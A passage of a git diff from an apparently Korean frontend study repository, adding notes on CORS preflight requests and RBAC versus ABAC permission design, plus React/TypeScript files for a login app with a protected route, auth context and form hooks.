static(path.join(__dirname, 'public'))(req, res); + }; + ``` + + -ํ—ค๋” ์ด๋ฆ„: `Access-Control-Allow-Headers` + -๊ฐ’: `X-Goguma` + -์˜๋ฏธ: ํ•ด๋‹น ์ปค์Šคํ…€ ํ—ค๋” ์‚ฌ์šฉ์„ ํ—ˆ๋ฝํ•จ + + -์—ฌ๋Ÿฌ ์ปค์Šคํ…€ ํ—ค๋”๋ฅผ ํ—ˆ์šฉํ•˜๋ ค๋ฉด ์‰ผํ‘œ๋กœ ๊ตฌ๋ถ„! + + ```tsx + res.setHeader('Access-Control-Allow-Headers', 'X-Goguma, X-Custom-Header, Authorization'); + + ``` + + - `PUT` ์š”์ฒญ์„ ๋ณด๋‚ผ ๋•Œ ๋ธŒ๋ผ์šฐ์ €๋Š” ์™œ ๋จผ์ € `OPTIONS` ์š”์ฒญ์„ ๋ณด๋‚ด๋‚˜์š”? ์ด๋•Œ ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ๋ณด๋‚ด๋Š” ํ—ค๋”์™€ ์„œ๋ฒ„๊ฐ€ ์‘๋‹ตํ•ด์•ผ ํ•˜๋Š” ํ—ค๋”๋ฅผ ๊ฐ๊ฐ ์“ฐ๊ณ , ์‚ฌ์ „ ์š”์ฒญ๊ณผ ์‹ค์ œ ์š”์ฒญ์ด ์–ด๋–ป๊ฒŒ ์ด์–ด์ง€๋Š”์ง€ ๊ฐ„๋‹จํžˆ ์„œ์ˆ ํ•˜์„ธ์š”. + - ์‚ฌ์ „ ์š”์ฒญ์ด ํ•„์š”ํ•œ ์ด์œ  + + + ๐Ÿ’ก **์™œ PUT/DELETE๋Š” ์œ„ํ—˜ํ•˜๋ƒ๋ฉด? + -** GET์€ ๋ฐ์ดํ„ฐ๋ฅผ ์ฝ๊ธฐ๋งŒ ํ•˜์ง€๋งŒ, PUT์€ ๋ฐ์ดํ„ฐ๋ฅผ ์ˆ˜์ •ํ•˜๊ณ  DELETE๋Š” ์‚ญ์ œํ•ด์š”. + - ์‹ค์ˆ˜๋กœ ๋˜๋Š” ์•…์˜์ ์œผ๋กœ ์ค‘์š”ํ•œ ๋ฐ์ดํ„ฐ๊ฐ€ ๋ณ€๊ฒฝ๋  ์ˆ˜ ์žˆ์–ด์„œ ๋” ์—„๊ฒฉํ•˜๊ฒŒ ํ™•์ธํ•˜๋Š” ๊ฑฐ์˜ˆ์š”. + + - ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ๋ณด๋‚ด๋Š” ํ—ค๋” (OPTIONS ์‚ฌ์ „ ์š”์ฒญ) + + + ```tsx + OPTIONS /resource.json HTTP/1.1 + Host: localhost:8081 + Origin: http://localhost:8080 + Access-Control-Request-Method: PUT โ† "PUT ์จ๋„ ๋ผ์š”?" + ``` + + - ์„œ๋ฒ„๊ฐ€ ์‘๋‹ตํ•ด์•ผ ํ•˜๋Š” ํ—ค๋” - โ€œ์‘, `PUT` ์จ๋„ ๋ผ!โ€ + + + ```tsx + const handler = (req, res) => { + res.setHeader('Access-Control-Allow-Origin', 'http://localhost:8080'); + res.setHeader('Access-Control-Allow-Headers', 'X-Goguma'); + // PUT ๋ฉ”์†Œ๋“œ๋ฅผ ํ—ˆ์šฉ + res.setHeader('Access-Control-Allow-Methods', 'PUT'); + static(path.join(__dirname, 'public'))(req, res); + }; + ``` + + - ์‚ฌ์ „ ์š”์ฒญ โ†’ ์‹ค์ œ ์š”์ฒญ ์ „์ฒด ํ๋ฆ„ + + + ```tsx + โ‘  ๋ธŒ๋ผ์šฐ์ € โ†’ ์„œ๋ฒ„: OPTIONS /resource.json + (Access-Control-Request-Method: PUT) + โ†“ + โ‘ก ์„œ๋ฒ„ โ†’ ๋ธŒ๋ผ์šฐ์ €: 200 OK + (Access-Control-Allow-Methods: PUT) + โ†“ + โ‘ข ๋ธŒ๋ผ์šฐ์ € ํŒ๋‹จ: "PUT ํ—ˆ์šฉ๋๋„ค!" + โ†“ + โ‘ฃ ๋ธŒ๋ผ์šฐ์ € โ†’ ์„œ๋ฒ„: PUT /resource.json (์‹ค์ œ ์š”์ฒญ) + โ†“ + โ‘ค ์„œ๋ฒ„ โ†’ ๋ธŒ๋ผ์šฐ์ €: 200 OK + ์‘๋‹ต ๋ณธ๋ฌธ + โ†“ + โ‘ฅ ๋ธŒ๋ผ์šฐ์ €: JS์—๊ฒŒ ์‘๋‹ต ๋ฐ์ดํ„ฐ ์ „๋‹ฌ โœ… + ``` + + - ์‚ฌ์ „ ์š”์ฒญ๋„ ์บ์‹ฑ ๊ฐ€๋Šฅ! + > ๋งค PUT ์š”์ฒญ๋งˆ๋‹ค OPTIONS๋ฅผ ํ•œ ๋ฒˆ์”ฉ ๋” ๋ณด๋‚ด๋Š” ๊ฑด ๋‚ญ๋น„ โ†’ ์บ์‹ฑ ์„ค์ • ๊ฐ€๋Šฅ! + + + ```tsx + res.setHeader('Access-Control-Max-Age', '10'); // 10์ดˆ๊ฐ„ ์บ์‹œ + ``` + + ```tsx + ์ฒซ ๋ฒˆ์งธ PUT ์š”์ฒญ: + OPTIONS โ†’ PUT (์‚ฌ์ „ ์š”์ฒญ ๋ฐœ์ƒ) + + 10์ดˆ ์ด๋‚ด ๋‘ ๋ฒˆ์งธ PUT ์š”์ฒญ: + PUT๋งŒ (OPTIONS ์ƒ๋žต! ์บ์‹œ ์‚ฌ์šฉ) โ† ๋„คํŠธ์›Œํฌ ๋น„์šฉ ์ ˆ๊ฐ + ``` + +- **๐Ÿ“šย ๋ธ”๋กœ๊ทธ ์ฝ๊ณ  ABAC ์ •๋ฆฌํ•ด๋ณด๊ธฐ ๐Ÿ ** + - **RBAC**์˜ ํ•œ๊ณ„์— ๋Œ€ํ•ด ์„ค๋ช…ํ•ด์ฃผ์„ธ์š”. + - **RBAC** ๋ž€? + ์‚ฌ๋žŒ์˜ **์—ญํ• (Role)** ์„ ๊ธฐ์ค€์œผ๋กœ ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•ด์š”. ์˜ˆ์‹œ๋กœ `ADMIN์ด๋ฉด ๊ธ€ ์‚ญ์ œ ๊ฐ€๋Šฅ` ๊ฐ™์€ ๋ฐฉ์‹! + - ํ•œ๊ณ„ ์  + 1. ๋‹จ์ˆœํ•œ ์‹œ์ž‘ + + ```tsx + // ๋‚ด๊ฐ€ ์“ด ๊ธ€๋งŒ ์‚ญ์ œ ๊ฐ€๋Šฅ + const canDelete = [user.id](http://user.id/) === challenge.ownerId; + ``` + + โ†’ ์‰ฝ๊ณ  ๊น”๋”ํ•จ **RBAC** ์˜ ์žฅ์  + + 2. ์š”๊ตฌ ์‚ฌํ•ญ ์ถ”๊ฐ€ + + ```tsx + // ๊ด€๋ฆฌ์ž๋„ ์‚ญ์ œ ๊ฐ€๋Šฅํ•˜๊ฒŒ + const isOwner = user.id === challenge.ownerId; + const isAdmin = user.appRole === 'ADMIN'; + const canDelete = isOwner || isAdmin; + ``` + + โ†’ ์กฐ๊ฑด ํ•˜๋‚˜ ๋” ๋Š˜์Œ + + 3. ๋˜ ์ถ”๊ฐ€ + + ```tsx + // ์›์žฅ๋„ ์ž๊ธฐ ํ•™์› ํ•™์ƒ ๊ธ€์€ ์‚ญ์ œ ๊ฐ€๋Šฅ + const isPrincipal = + user.academyRoles[challenge.academyId] === 'PRINCIPAL'; + const canDelete = isOwner || isAdmin || isPrincipal; + ``` + + โ†’ ์กฐ๊ฑด ๊ผฌ์ด๊ธฐ ์‹œ์ž‘ + + 4. ํ•œ๊ณ„ ํญ๋ฐœ + + ```tsx + // ์›์žฅ์ธ๋ฐ ์‚ญ์ œ ๊ถŒํ•œ ์—†๋Š” ์›์žฅ๋„ ์žˆ์Œ + const canPrincipalDelete = + isPrincipal && + user.academyRolesDetail[challenge.academyId]?.canDeleteChallenge; + const canDelete = isOwner || isAdmin || canPrincipalDelete; + ``` + + โ†’ ์—ญํ• (PRINCIPAL)๋งŒ์œผ๋กœ๋Š” ํ‘œํ˜„์ด ์•ˆ ๋ผ์š”. ์ถ”๊ฐ€ ์†์„ฑ์ด ํ•„์š”ํ•œ ์ƒํ™ฉ ์˜ด! + + - ํ•œ๊ณ„ ์ •๋ฆฌ! + ```tsx + RBAC์˜ ํ•œ๊ณ„ + โ”œโ”€โ”€ "์—ญํ• ์ด ๊ฐ™์•„๋„ ๊ถŒํ•œ์ด ๋‹ค๋ฅผ ์ˆ˜ ์žˆ์Œ" โ†’ ํ‘œํ˜„ ๋ถˆ๊ฐ€ + โ”œโ”€โ”€ "ํ•œ ์‚ฌ๋žŒ์ด ์—ฌ๋Ÿฌ ๋งฅ๋ฝ์— ์†ํ•จ" โ†’ ํ‘œํ˜„ ๋ถˆ๊ฐ€ + โ””โ”€โ”€ "๊ถŒํ•œ ๋กœ์ง์ด UI ์—ฌ๊ธฐ์ €๊ธฐ์— ํผ์ง" โ†’ ์œ ์ง€๋ณด์ˆ˜ ์ง€์˜ฅ + ``` + โ†’ ์ด์ฒ˜๋Ÿผ ์‹ฌํ”Œํ•ด์„œ ์ข‹์ง€๋งŒ, ์„œ๋น„์Šค๊ฐ€ ์ปค์ง€๋ฉด ํ•œ๊ณ„๊ฐ€ ์˜ด! + + - **ABAC**์œผ๋กœ์˜ ์ „ํ™˜, ์–ด๋–ค '๊ธฐ์ค€'์ด ์ ์ ˆํ• ๊นŒ์š”? + - ์‹ ํ˜ธ 1: "๊ฐ™์€ ์—ญํ• ์ธ๋ฐ ๊ถŒํ•œ์ด ๋‹ฌ๋ผ์•ผ ํ•ด์š”โ€ + + ```tsx + ์›์žฅ(PRINCIPAL) A โ†’ ์ฑŒ๋ฆฐ์ง€ ์‚ญ์ œ ๊ฐ€๋Šฅ + ์›์žฅ(PRINCIPAL) B โ†’ ์ฑŒ๋ฆฐ์ง€ ์‚ญ์ œ ๋ถˆ๊ฐ€๋Šฅ + + โ†’ ์—ญํ• ์ด ๊ฐ™์€๋ฐ ๊ถŒํ•œ์ด ๋‹ค๋ฆ„ + โ†’ RBAC์œผ๋กœ๋Š” ํ‘œํ˜„ ๋ถˆ๊ฐ€ โ†’ ABAC ์ „ํ™˜ ์‹ ํ˜ธ ๐Ÿšจ + ``` + + - ์‹ ํ˜ธ 2: "๋งฅ๋ฝ(context)์— ๋”ฐ๋ผ ๊ถŒํ•œ์ด ๋‹ฌ๋ผ์•ผ ํ•ด์š”โ€ + + ```tsx + ๊ฐ™์€ ์‚ฌ๋žŒ์ด: + A ํ•™์›์—์„œ๋Š” ์›์žฅ โ†’ ์‚ญ์ œ ๊ฐ€๋Šฅ + B ํ•™์›์—์„œ๋Š” ํ•™์ƒ โ†’ ์‚ญ์ œ ๋ถˆ๊ฐ€๋Šฅ + + โ†’ ๋ˆ„๊ตฌ๋ƒ๊ฐ€ ์•„๋‹ˆ๋ผ "์–ด๋””์„œ, ์–ด๋–ค ์ƒํ™ฉ์ด๋ƒ"๊ฐ€ ์ค‘์š”ํ•ด์ง + โ†’ ABAC ์ „ํ™˜ ์‹ ํ˜ธ ๐Ÿšจ + ``` + + - ์‹ ํ˜ธ 3: "๊ถŒํ•œ ์กฐ๊ฑด if ๋ฌธ์ด 3๊ฐœ ์ด์ƒ ๊ฒน์น˜๊ธฐ ์‹œ์ž‘ํ•จโ€ + + ```tsx + // ์ด๋Ÿฐ ์ฝ”๋“œ๊ฐ€ ์ƒ๊ธฐ๊ธฐ ์‹œ์ž‘ํ–ˆ๋‹ค๋ฉด? + const canDelete = isOwner || isAdmin || (isPrincipal && canDeleteFlag); + + // ๊ทธ๋ฆฌ๊ณ  ์ด๊ฒŒ ์—ฌ๋Ÿฌ ์ปดํฌ๋„ŒํŠธ์— ๋ณต๋ถ™๋˜๊ณ  ์žˆ๋‹ค๋ฉด? + โ†’ ABAC ์ „ํ™˜ ์‹ ํ˜ธ ๐Ÿšจ + ``` + + - ์‹ ํ˜ธ 4: "๊ธฐํš์ด ๋ฐ”๋€” ๋•Œ๋งˆ๋‹ค ์ฝ”๋“œ๋ฅผ ์—ฌ๋Ÿฌ ๊ตฐ๋ฐ ์ˆ˜์ •ํ•ด์•ผ ํ•จโ€ + ```tsx + ๊ธฐํš ๋ณ€๊ฒฝ โ†’ 5๊ฐœ ํŒŒ์ผ ์—ด์–ด์„œ ์ˆ˜์ • โ†’ ํ•˜๋‚˜ ๋น ๋œจ๋ฆผ โ†’ ๋ฒ„๊ทธ + โ†’ ABAC ์ „ํ™˜ ์‹ ํ˜ธ ๐Ÿšจ + ``` + - ์ „ํ™˜ํ•˜์ง€ ์•Š์•„๋„ ๋˜๋Š” ๊ฒฝ์šฐ + ```tsx + โœ… RBAC์œผ๋กœ ์ถฉ๋ถ„ํ•œ ๊ฒฝ์šฐ: + - ๊ถŒํ•œ ์กฐ๊ฑด์ด ๋‹จ์ˆœํ•จ (์—ญํ• ๋งŒ์œผ๋กœ ํ‘œํ˜„ ๊ฐ€๋Šฅ) + - ์„œ๋น„์Šค ์ดˆ๊ธฐ, ๋น ๋ฅธ ๊ฐœ๋ฐœ์ด ์šฐ์„  + - ์˜ˆ์™ธ ์ผ€์ด์Šค๊ฐ€ ๊ฑฐ์˜ ์—†์Œ + - ์—ญํ• ์ด 3๊ฐœ ์ดํ•˜๋กœ ๋‹จ์ˆœํ•จ + ``` + > ๐Ÿ’ก **๊ฒฐ๋ก :** "๊ฐ™์€ ์—ญํ• ์ธ๋ฐ ๋‹ค๋ฅธ ๊ถŒํ•œ์ด ํ•„์š”ํ•œ ์ˆœ๊ฐ„"์ด ์˜ค๋ฉด ABAC์„ ๊ณ ๋ คํ•˜์„ธ์š”. ๊ทธ ์ „๊นŒ์ง€๋Š” RBAC์œผ๋กœ ๋‹จ์ˆœํ•˜๊ฒŒ ๊ฐ€๋Š” ๊ฒŒ ์˜คํžˆ๋ ค ์ข‹์•„์š”. + + - ์–ด๋–ค ์„œ๋น„์Šค ์˜์—ญ์— **RBAC**์„ ๋‚จ๊ฒจ๋‘๊ณ , **ABAC**์„ ๋„์ž…ํ•˜์‹œ๊ฒ ์–ด์š”? + + + - RBAC์„ ๋‚จ๊ฒจ๋‘๊ธฐ ์ข‹์€ ์˜์—ญ: ์•ฑ ์ „์—ญ ๊ถŒํ•œ + + ```tsx + // ADMIN์€ ์–ด๋””์„œ๋“  ๋ญ๋“  ํ•  ์ˆ˜ ์žˆ์Œ โ†’ ์—ญํ• ๋งŒ์œผ๋กœ ํ‘œํ˜„ ๊ฐ€๋Šฅ + export const APP_ROLES = { + ADMIN: { + challenges: { + view: true, // ๋‹จ์ˆœ boolean + create: true, + update: true, + delete: true, // ์กฐ๊ฑด ์—†์ด ํ•ญ์ƒ ๊ฐ€๋Šฅ + }, + }, + ... + } + ``` + + - RBAC์ด ์ ํ•ฉํ•œ ์˜์—ญ + + ```tsx + โœ… ์Šˆํผ ๊ด€๋ฆฌ์ž(ADMIN) ๊ถŒํ•œ โ†’ ์ „๋ถ€ ๋‹ค ๋จ, ๋‹จ์ˆœ + โœ… ์™„์ „ํžˆ ์ฐจ๋‹จ๋œ ๊ถŒํ•œ โ†’ ์ „๋ถ€ ์•ˆ ๋จ, ๋‹จ์ˆœ + โœ… ์„œ๋น„์Šค ์ „์ฒด์— ๊ฑธ์ณ ๋™์ผํ•˜๊ฒŒ ์ ์šฉ๋˜๋Š” ๊ถŒํ•œ + โœ… ์˜ˆ์™ธ ์—†์ด ์—ญํ• ๋งŒ์œผ๋กœ ํŒ๋‹จ ๊ฐ€๋Šฅํ•œ ๊ธฐ๋Šฅ + ์˜ˆ: ๊ด€๋ฆฌ์ž ํŽ˜์ด์ง€ ์ ‘๊ทผ, ์„œ๋น„์Šค ์ „์ฒด ๊ณต์ง€ ์ž‘์„ฑ ๋“ฑ + ``` + + - ABAC์„ ๋„์ž…ํ•˜๊ธฐ ์ข‹์€ ์˜์—ญ: ๋งฅ๋ฝ์ด ํ•„์š”ํ•œ ๊ถŒํ•œ + + ```tsx + // ์›์žฅ์ธ๋ฐ ์‚ญ์ œ ๊ถŒํ•œ์ด ์žˆ๋Š” ์›์žฅ๋งŒ ์‚ญ์ œ ๊ฐ€๋Šฅ โ†’ ์†์„ฑ ํ•„์š” + export const ACADEMY_ROLES = { + PRINCIPAL: { + challenges: { + delete: (user, challenge) => { + const role = user.academyRoles[challenge.academyId]; + const detail = user.academyRolesDetail?.[challenge.academyId]; + return role === 'PRINCIPAL' && detail?.canDeleteChallenge === true; + // ์—ญํ• (PRINCIPAL) + ์†์„ฑ(canDeleteChallenge) ์กฐํ•ฉ + }, + }, + }, + } + ``` + + - ABAC์ด ์ ํ•ฉํ•œ ์˜์—ญ + + ```tsx + โœ… ์ฝ˜ํ…์ธ  ์†Œ์œ ๊ถŒ์ด ํ•„์š”ํ•œ ๊ธฐ๋Šฅ + ์˜ˆ: "๋‚ด๊ฐ€ ์“ด ๊ธ€๋งŒ ์ˆ˜์ • ๊ฐ€๋Šฅ" + + โœ… ์†Œ์†/๋งฅ๋ฝ์— ๋”ฐ๋ผ ๊ถŒํ•œ์ด ๋‹ฌ๋ผ์ง€๋Š” ๊ธฐ๋Šฅ + ์˜ˆ: "๋‚ด ํ•™์›์˜ ํ•™์ƒ ๊ธ€๋งŒ ์‚ญ์ œ ๊ฐ€๋Šฅ" + + โœ… ์„ธ๋ฐ€ํ•œ ๊ถŒํ•œ ํ”Œ๋ž˜๊ทธ๊ฐ€ ํ•„์š”ํ•œ ๊ธฐ๋Šฅ + ์˜ˆ: "์›์žฅ ์ค‘์—์„œ canDeleteChallenge=true์ธ ์›์žฅ๋งŒ" + + โœ… ์ฐจ๋‹จ(block) ๊ฐ™์€ ๊ด€๊ณ„ ๊ธฐ๋ฐ˜ ๊ถŒํ•œ + ์˜ˆ: "๋‚˜๋ฅผ ์ฐจ๋‹จํ•œ ์‚ฌ๋žŒ์˜ ๊ธ€์€ ๋ชป ๋ด„" + ``` + + - ์‹ค์ œ ์„ค๊ณ„ ์˜ˆ์‹œ + + ```tsx + ์•ฑ ์ „์—ญ ๊ถŒํ•œ (RBAC ์Šคํƒ€์ผ) + ADMIN โ†’ ๋ชจ๋“  ๊ฒƒ ํ—ˆ์šฉ (boolean true) + USER โ†’ ๊ธฐ๋ณธ ๊ถŒํ•œ๋งŒ + + ํ•™์›๋ณ„ ๊ถŒํ•œ (ABAC ์Šคํƒ€์ผ) + PRINCIPAL + canDeleteChallenge=true โ†’ ์ฑŒ๋ฆฐ์ง€ ์‚ญ์ œ ๊ฐ€๋Šฅ + TEACHER โ†’ ์ฑŒ๋ฆฐ์ง€ ์‚ญ์ œ ๋ถˆ๊ฐ€ + STUDENT โ†’ ๋ณธ์ธ ๊ธ€๋งŒ ์‚ญ์ œ ๊ฐ€๋Šฅ + ``` + + + > ๐Ÿ’ก **ํ•ต์‹ฌ + :** RBAC๊ณผ ABAC์€ ๋Œ€์ฒด ๊ด€๊ณ„๊ฐ€ ์•„๋‹ˆ์—์š”. **๋‹จ์ˆœํ•œ ๊ฑด RBAC์œผ๋กœ, ๋ณต์žกํ•œ ๊ฑด ABAC์œผ๋กœ** ํ•จ๊ป˜ ์“ฐ๋Š” ๊ฒŒ ๊ฐ€์žฅ ํ˜„์‹ค์ ์ธ ๋‹ต์ด์—์š”! + > + + - ์—ฌ๋Ÿฌ๋ถ„๋“ค์€ ๋‹ค๋ฅธ ๋ถ€์„œ์—์„œ ์š”์ฒญ์„ ๋ฐ›์•˜์„ ๋•Œ ์–ด๋–ค์‹์œผ๋กœ ํ–‰๋™ํ•˜์‹ค ๊ฑด๊ฐ€์š”? + 1. ํ™•์žฅ ๊ฐ€๋Šฅ์„ฑ์„ ๋จผ์ € ๋ฌผ์–ด๋ณด๊ธฐ + 2. ์š”์ฒญ์„ ๋ถ„์„ํ•  ๋•Œ: "์—ญํ• "์ธ์ง€ "์†์„ฑ"์ธ์ง€ ํŒŒ์•…ํ•˜๊ธฐ + + ```tsx + "์›์žฅ์€ ์‚ญ์ œ ๊ฐ€๋Šฅ" + โ†’ ์—ญํ• (PRINCIPAL)๋งŒ์œผ๋กœ ํ‘œํ˜„ ๊ฐ€๋Šฅ + โ†’ RBAC์œผ๋กœ ์ฒ˜๋ฆฌ ๊ฐ€๋Šฅ + ``` + + ```tsx + "์‚ญ์ œ ๊ถŒํ•œ์ด ์žˆ๋Š” ์›์žฅ๋งŒ ์‚ญ์ œ ๊ฐ€๋Šฅ" + โ†’ ์—ญํ• (PRINCIPAL) + ์†์„ฑ(canDeleteChallenge) + โ†’ ABAC ํ•„์š” โ†’ ๋ฐฑ์—”๋“œ์— ๋ฐ์ดํ„ฐ ์š”์ฒญ ํ•„์š” + ``` + + 3. ๊ตฌํ˜„ํ•  ๋•Œ: ๊ถŒํ•œ ๋กœ์ง์„ ํ•œ ๊ณณ์— ๋ชจ์œผ๊ธฐ + + ```tsx + ๋ฆฌํŒฉํ† ๋ง ํ›„์—๋Š” ๊ถŒํ•œ ์กฐ๊ฑด์ด UI์— ์„ž์ด์ง€ ์•Š๊ณ  ๊ถŒํ•œ ํ…Œ์ด๋ธ”์—๋งŒ ์ •์˜๋˜์–ด ์žˆ์–ด์„œ + ์–ด๋””์„œ๋“  ์ผ๊ด€๋˜๊ฒŒ hasPermission ํ•œ ์ค„๋กœ ์ฒดํฌ๋ฅผ ํ•  ์ˆ˜ ์žˆ์–ด์š” + + // โŒ ์š”์ฒญ๋งˆ๋‹ค UI์— ์กฐ๊ฑด์„ ์ถ”๊ฐ€ํ•˜๋Š” ๋ฐฉ์‹ + const canDelete = isOwner || isAdmin || (isPrincipal && canDeleteFlag); + + // โœ… ๊ถŒํ•œ ํ…Œ์ด๋ธ”๋งŒ ์ˆ˜์ •ํ•˜๊ณ  ํ˜ธ์ถœ์€ ํ•ญ์ƒ ํ•œ ์ค„ + const canDelete = hasPermission(user, 'challenges', 'delete', challenge); + ``` + + 4. ๋ฐฐํฌ ํ›„์—๋„: ํ…Œ์ŠคํŠธ ์ฝ”๋“œ๋กœ ์•ˆ์ „๋ง ํ™•๋ณด + + ```tsx + // ์ƒˆ ์š”์ฒญ์ด ๋“ค์–ด์™€์„œ ๊ถŒํ•œ ํ…Œ์ด๋ธ”์„ ์ˆ˜์ •ํ–ˆ์„ ๋•Œ + // ๊ธฐ์กด ์ผ€์ด์Šค๊ฐ€ ๋ง๊ฐ€์ง€์ง€ ์•Š์•˜๋Š”์ง€ ํ…Œ์ŠคํŠธ๋กœ ๊ฒ€์ฆ + it('ADMIN์€ ์–ด๋–ค ์ฑŒ๋ฆฐ์ง€๋“  ์‚ญ์ œํ•  ์ˆ˜ ์žˆ๋‹ค', () => { + expect(hasPermission(๊ด€๋ฆฌ์ž, 'challenges', 'delete', ์ฑŒ๋ฆฐ์ง€)).toBe( + true, + ); + }); + ``` diff --git a/mission/chapter05/mission_1/src/App.css b/mission/chapter05/mission_1/src/App.css new file mode 100644 index 0000000..e69de29 diff --git a/mission/chapter05/mission_1/src/App.tsx b/mission/chapter05/mission_1/src/App.tsx new file mode 100644 index 0000000..9976985 --- /dev/null +++ b/mission/chapter05/mission_1/src/App.tsx @@ -0,0 +1,48 @@ +import './App.css'; +import { createBrowserRouter, RouterProvider } from 'react-router-dom'; +import HomeLayout from './layouts/HomeLayout'; +import NotFound from './pages/NotFoundPage'; +import LoginPage from './pages/LoginPage'; +import HomePage from './pages/HomePage'; +import SignupPage from './pages/SignupPage'; +import MyPage from './pages/MyPage'; +import ProtectedRoute from './components/ProtectedRoute'; +import { AuthProvider } from './context/AuthContext'; + +const router = createBrowserRouter([ + { + path: '/', + element: , + errorElement: , + children: [ + { index: true, element: }, + { + path: 'mypage', + element: ( + + + + ), + }, + ], + }, + { + path: '/login', + element: , + errorElement: , + }, + { + path: '/signup', + element: , + errorElement: , + }, +]); +function App() { + return ( + + + + ); +} + +export default App; diff --git a/mission/chapter05/mission_1/src/assets/hero.png b/mission/chapter05/mission_1/src/assets/hero.png new file mode 100644 index 0000000..cc51a3d Binary files /dev/null and b/mission/chapter05/mission_1/src/assets/hero.png differ diff --git a/mission/chapter05/mission_1/src/assets/react.svg b/mission/chapter05/mission_1/src/assets/react.svg new file mode 100644 index 0000000..6c87de9 --- /dev/null +++ b/mission/chapter05/mission_1/src/assets/react.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/mission/chapter05/mission_1/src/assets/vite.svg b/mission/chapter05/mission_1/src/assets/vite.svg new file mode 100644 index 0000000..5101b67 --- /dev/null +++ b/mission/chapter05/mission_1/src/assets/vite.svg @@ -0,0 +1 @@ +Vite diff --git a/mission/chapter05/mission_1/src/components/Navbar.tsx b/mission/chapter05/mission_1/src/components/Navbar.tsx new file mode 100644 index 0000000..c22c0bb --- /dev/null +++ b/mission/chapter05/mission_1/src/components/Navbar.tsx @@ -0,0 +1,60 @@ +import { useNavigate } from 'react-router-dom'; +import { useAuth } from '../context/AuthContext'; +const Navbar = () => { + const navigate = useNavigate(); + const { user, logout } = useAuth(); + + return ( + + ); +}; + +export default Navbar; diff --git a/mission/chapter05/mission_1/src/components/ProtectedRoute.tsx b/mission/chapter05/mission_1/src/components/ProtectedRoute.tsx new file mode 100644 index 0000000..0fffe2d --- /dev/null +++ b/mission/chapter05/mission_1/src/components/ProtectedRoute.tsx @@ -0,0 +1,11 @@ +import { Navigate } from 'react-router-dom'; +import { useAuth } from '../context/AuthContext'; + +const ProtectedRoute = ({ children }: { children: React.ReactNode }) => { + const { user } = useAuth(); + + if (!user) return ; + return <>{children}; +}; + +export default ProtectedRoute; \ No newline at end of file diff --git a/mission/chapter05/mission_1/src/context/AuthContext.tsx b/mission/chapter05/mission_1/src/context/AuthContext.tsx new file mode 100644 index 0000000..4d2a6a8 --- /dev/null +++ b/mission/chapter05/mission_1/src/context/AuthContext.tsx @@ -0,0 +1,44 @@ +import { createContext, useContext, useState } from 'react'; + +interface User { + email: string; + nickname: string; +} + +interface AuthContextType { + user: User | null; + login: (user: User) => void; + logout: () => void; +} + +const AuthContext = createContext(null); + +export const AuthProvider = ({ children }: { children: React.ReactNode }) => { + const [user, setUser] = useState(() => { + // ๋กœ์ปฌ์Šคํ† ๋ฆฌ์ง€์—์„œ ์ดˆ๊ธฐ๊ฐ’ ๋ถˆ๋Ÿฌ์˜ค๊ธฐ + const stored = localStorage.getItem('user'); + return stored ? JSON.parse(stored) : null; + }); + + const login = (userData: User) => { + setUser(userData); + localStorage.setItem('user', JSON.stringify(userData)); + }; + + const logout = () => { + setUser(null); + localStorage.removeItem('user'); + }; + + return ( + + {children} + + ); +}; + +export const useAuth = () => { + const context = useContext(AuthContext); + if (!context) throw new Error('AuthProvider ๋ฐ–์—์„œ ์‚ฌ์šฉ ๋ถˆ๊ฐ€!'); + return context; +}; \ No newline at end of file diff --git a/mission/chapter05/mission_1/src/hooks/useForm.ts b/mission/chapter05/mission_1/src/hooks/useForm.ts new file mode 100644 index 0000000..dcfc423 --- /dev/null +++ b/mission/chapter05/mission_1/src/hooks/useForm.ts @@ -0,0 +1,54 @@ +import { useEffect, useState, type ChangeEvent } from 'react'; + +interface UseFormProps { + initialValue: T; + //๊ฐ’์ด ์˜ฌ๋ฐ”๋ฅธ์ง€ ๊ฒ€์ฆํ•˜๋Š” ํ•จ์ˆ˜ + validate: (values: T) => Record; +} + +function useForm({ initialValue, validate }: UseFormProps) { + const [values, setValues] = useState(initialValue); + + //"email": true -> touch ๋จ + //"password": false -> touch ์•ˆ ๋จ + const [touched, setTouched] = useState>(); + + //"email": ์ด๋ฉ”์ผ์€ ๋ฐ˜๋“œ์‹œ @๋ฅผ ํฌํ•จํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. + const [errors, setErrors] = useState>(); + + //์‚ฌ์šฉ์ž๊ฐ€ ์ž…๋ ฅ๊ฐ’ ๋ฐ”๊ฟ€ ๋•Œ ์‹คํ–‰๋˜๋Š” ํ•จ์ˆ˜ + const handleChange = (name: keyof T, text: string) => { + setValues({ + ...values, //๊ธฐ์กด ์ž…๋ ฅ๊ฐ’ ์œ ์ง€ + [name]: text, + }); + }; + + const handleBlur = (name: keyof T) => { + setTouched({ + ...touched, + [name]: true, + }); + }; + + //์ด๋ฉ”์ผ๊ณผ ๋น„๋ฐ€๋ฒˆํ˜ธ ์ธํ’‹, ์†์„ฑ๋“ค์„ ๊ฐ€์ ธ์˜ค๋Š” ๊ฒƒ + const getInputProps = (name: keyof T) => { + const value = values[name]; + const onChange = (e: ChangeEvent) => + handleChange(name, e.target.value); + const onBlur = () => handleBlur(name); + + return { value, onChange, onBlur }; + }; + + //values๊ฐ€ ๋ณ€๊ฒฝ๋  ๋•Œ ์—๋Ÿฌ๊ฒ€์ฆ ๋กœ์ง + //๋ณ€๊ฒฝ๋  ๋•Œ๋งˆ๋‹ค ๋กœ์ง์ด ๋ณ€๊ฒฝ๋˜์–ด์•ผ ํ•˜๋‹ˆ useEffect ์‚ฌ์šฉ + useEffect(() => { + const newErrors = validate(values); + setErrors(newErrors); //์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€ ์—…๋ฐ์ดํŠธ + }, [validate, values]); + + return {values, errors, touched, getInputProps}; +} + +export default useForm; \ No newline at end of file diff --git a/mission/chapter05/mission_1/src/hooks/useLocalStorage.ts b/mission/chapter05/mission_1/src/hooks/useLocalStorage.ts new file mode 100644 index 0000000..c6a3ad1 --- /dev/null +++ b/mission/chapter05/mission_1/src/hooks/useLocalStorage.ts @@ -0,0 +1,29 @@ +import { useState } from 'react'; + +function useLocalStorage(key: string, initialValue: T) { + // ๋กœ์ปฌ์Šคํ† ๋ฆฌ์ง€์—์„œ ๊ฐ’์„ ๊ฐ€์ ธ์˜ค๋Š” ํ•จ์ˆ˜ + const [storedValue, setStoredValue] = useState(() => { + try { + const item = 